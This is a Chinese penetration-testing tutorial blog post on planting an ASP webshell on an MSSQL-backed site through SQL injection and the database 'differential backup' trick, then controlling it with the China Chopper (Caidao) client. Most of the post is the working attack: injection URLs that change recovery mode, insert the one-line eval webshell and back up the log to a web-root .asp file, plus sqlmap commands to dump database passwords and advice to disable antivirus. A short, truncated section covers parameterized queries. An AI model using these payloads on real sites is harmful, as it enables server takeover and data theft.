[渗透&攻防] 三.数据库之差异备份及Caidao利器

这是最近学习渗透和网站攻防的文章,前面文章从数据库原理解读了防止SQL注入、SQLMAP的基础用法。这篇文章主要讲解数据库知识之差异备份及强大的利器Caidao。希望能深入地学习这部分知识,自己作为一个初学者,在慢慢探索网络攻防和渗透。同时,希望文章对你有所帮助,尤其是学习网络安全的初学者,错误或不足之处还请海涵~

    一.数据库之差异备份
        1.差异备份
        2.手动上传
    二.Caidao基础用法
        1.文件管理
        2.数据库管理
        3.虚拟终端
    三.防御措施
        1.参数化查询
        2.基础防御措施
   
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法


推荐文章:
http://www.jianshu.com/p/f0797a485779
SQL参数化查询 – zyw_anquan

一. 数据库之差异备份

1.差异备份

数据备份主要分位完全备份、增量备份和差异备份。其中差异备份是指备份自上一次完全备份之后有变化的数据,在差异备份过程中,只备份有标记的那些选中的文件和文件夹。它不清除标记,即备份后不标记为已备份文件,不清除存档属性。

这里的整体流程是先备份日志,然后插入一句话Muma;再次备份时,数据库只会备份两次间隔中的差异,使得生成出来的文件尽可能小,故称为“差异备份”。

前面的文章获取了数据库的名称:
    http://xxxxx/show.aspode=-1union all 
    select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 — 
 
输出结果如下所示:
    附件1:AYD
    附件2:Microsoft SQL Server….
    附件3:ahykd_new
其中MSSQL数据库的名称就是ahykd_new,接下来相同的道理获取数据库所有表及列。
同时获取了登录名、密码等,这里不再介绍,下面详细介绍差异备份。

(1) 修改数据库设置为恢复模式
    http://xxxxx/show.aspode=-1‘ 
    alter database ahykd_new set RECOVERY FULL —
完全恢复模式是默认的恢复模式。在完全恢复模式下,需要手工的对事务日志进行管理,优点是可以恢复到数据库失败或者指定的时间点上。

(2) 备份当前数据库日志到文件
    http://xxxxx/show.aspode=-1‘ 
    backup log ahykd_new to disk=’C:windowstemptemp0720′ with init —
备份数据库日志到服务器上,其中路径表示服务器的。
重点:路径不能太显眼,比如”C: 720″这样。

(3) 建立一张表和一个字段
    http://xxxxx/show.aspode=-1‘ 
    create table tt(a text)–

(4) 往表中插入一句话Muma
    http://xxxxx/show.aspode=-1‘ 
    insert into tt(a) values(‘<%eval request(“Shsh”) %>’) —
一句话Muma插入到数据库tt表的a字段中,执行接收自定义Shsh参数,类似于URL的Code参数,相当于是一个侧门,第二部分Caidao会使用到。

(5) 再次备份日志
    http://xxxxx/show.aspode=-1‘ 
    backup log ahykd_new to disk=’e:NewsReportindex0.asp’ —
再次备份日志,备份路径为网站服务器路径,重点是如何获得这个路径呢网站注入时,报错提示通常会呈现相关文件路径。

(6) 删除表
    http://xxxxx/show.aspode=-1‘ 
    drop table tt —

此时,数据库差异备份的漏洞已经弄好,后面介绍Caidao利器。

2.手动上传
前面得到数据库登录的用户名和密码后,就可以手动登录,然后找到上传文件地方。
index0.asp文件代码为:<%eval request(“Shsh”) %>
然后利用Caidao利器可以进行拿站,问题是如何防御这些漏洞,请看第三部分内容。

二. Caidao基础用法

1.登录Caidao

首先关闭安全软件及实时防护,如下图所示。

[渗透&攻防] 三.数据库之差异备份及Caidao利器
右键空白处,点击“添加”,在弹出界面填写相关内容。

[渗透&攻防] 三.数据库之差异备份及Caidao利器


下面介绍它强大的三个功能文件管理、数据库管理和虚拟终端,右键URL如下。

[渗透&攻防] 三.数据库之差异备份及Caidao利器

前面的差异备份,我们通过SQL语句在服务器E盘上传了一个index0.asp文件。
backup log ahykd_new to disk=’e:NewsReportindex0.asp
可以在文件管理找到该文件,并下载到本地(因原网已修复,写文前未截图),可以通过Notepad++打开,虽然乱码很多,但可以搜索看到 <%eval request(“Shsh”) %> 这句代码。
同时,备份服务器该账户没有写入权限,只能查看网站的内容及代码等。


3.数据库管理

Caidao支持各种数据库,包括MYSQL、MSSQL、ORCALE、ACCESS等,数据库管理主要是内置的管理数据库模块,能够实现数据库的查询语句、显示表名、列名。

前提:需要知道数据库的配置信息,可以从两个方面获得。
(1) 前面两篇文章通过SQL语句已经查到了数据库配置信息,即:
     数据库 用户 密码
     回顾:第一篇 手工SQL注入方法

    回顾:第二篇 SQLMAP方法
    python sqlmap.py -u “http://…/tztgxx.aspxode=115” –current-db
    python sqlmap.py -u “http://…/tztgxx.aspxode=115” –passwords

    运行结果如下图所示,获取数据库用户和密码。

[渗透&攻防] 三.数据库之差异备份及Caidao利器

显示数据库如下所示:

[渗透&攻防] 三.数据库之差异备份及Caidao利器
更多的用法需要读者进一步取研究学习,包括原理知识。同时,难点是如何取找到漏洞、防御漏洞,SQL注入现在已经有很多好的防御措施了,第三部分接着介绍。

三. 防御措施

1.参数化查询

推荐阅读《SQL注入攻击与防御 第2版》作者:Justin Clarke。
PS:这部分参考网上,你可能也返现了这些列文字主要是攻击,防御是让它变白,后面几个月深入研究后会结合实际详细讲解,但还是推荐上面那本书。

参数化查询(Parameterized Query 或 Parameterized Statement)是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值,这个方法目前已被视为最有效可预防SQL注入攻击 (SQL Injection) 的攻击手法的防御方式。

有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。

原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。

下面一段引用大神 何静媛 的博客,强推大家阅读她的博客。 
参数化查询就是我们写好需要的参数,然后直接给参数赋值,这就好比是一个sql的框架。sql查询的时候会进行参数分析,如果分析的结果是我们曾使用过这样的框架,那么sql会重用查询计划,否则会重新生成一个查询计划,当然此时的sql的语义肯定是发生了变化,这时我们就可以很好的防止注入的发生。例如:

[渗透&攻防] 三.数据库之差异备份及Caidao利器 娜璋AI安全之家 [渗透&攻防] 三.数据库之差异备份及Caidao利器 微信公众号 [渗透&攻防] 三.数据库之差异备份及Caidao利器 专注于分享Python、AI和安全技术

来源:Eastmount

声明:本站部分文章及图片转载于互联网,内容版权归原作者所有,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!

上一篇 2017年6月20日
下一篇 2017年6月20日

相关推荐